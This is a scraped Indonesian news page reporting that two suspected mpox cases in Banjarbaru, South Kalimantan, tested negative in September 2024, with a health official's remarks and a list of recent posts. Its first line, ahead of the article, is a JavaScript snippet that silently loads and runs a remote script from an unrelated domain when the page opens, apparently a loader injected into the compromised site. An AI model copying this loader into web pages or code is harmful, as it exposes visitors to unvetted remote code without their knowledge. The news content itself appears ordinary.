(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif


KANALKALIMANTAN.COM, BANJARBARU – Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) dinyatakan negatif.

Hingga awal bulan September 2024, Dinas Kesehatan (Dinkes) Kota Banjarbaru mencatat ada dua kasus suspek Mpox yang terjadi di Kota Banjarbaru.

Dua kasus suspek dari hasil penyelidikan, Kabid Pencegahan dan Pengendalian Penyakit (P2P) Dinkes Kota Banjarbaru Erni Syafrida mengatakan, pasien tersebut dinyatakan negatif Mpox.

Baca juga: Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

“Sudah kita ketahui hasilnya. Alhamdulillah dinyatakan negatif, dan hasilnya dapat cepat kita ketahui melalui pemeriksaan dari laboratorium kesehatan masyarakat di Banjarbaru,” ujar Kabid P2P Dinkes Kota Banjarbaru.

Sebelumnya kasus terduga Mpox di Kalsel membuat Dinkes bersama Rumah Sakit Daerah Idaman Banjarbaru melakukan survei line aktif dan menemukan satu kasus suspek pertama yang teridentifikasi di salah satu rumah sakit. Kemudian menyusul kasus suspek kedua teridentifikasi pada sebuah praktek dokter.

“Dan di Banjarbaru suspek ditemukan dua kasus kita anggap sebagai bentuk kewaspadaan. Dimana secara klinis kasusnya diduga, maka kami lakukan pemeriksaan berupa swap dan dari hasil itu dinyatakan negatif,” jelas dia.

Baca juga: PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

Dirinya menjelaskan, hasil penilaian risiko terjadinya Mpox terutamanya terjadi pada LSL atau kelompok lelaki yang berhubungan seksual dengan lelaki, didapatkan hasil risiko sedang.

“Risiko terjadi kepada mereka yang berperilaku khususnya LSL, namun tidak menutup kemungkinan kasus ini juga meluas kepada kalangan lainnya, walaupun tidak mudah sebenarnya penularannya namun risiko kematiannya juga lebih tinggi,” ungkapnya.

Meski Kota Banjarbaru sendiri tidak ada kasus positif Monkeypox yang sedang menjadi kewaspadaan nasional. Namun, masyarakat diminta tetap harus waspada dengan penyebaran virus Monkeypox ini. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.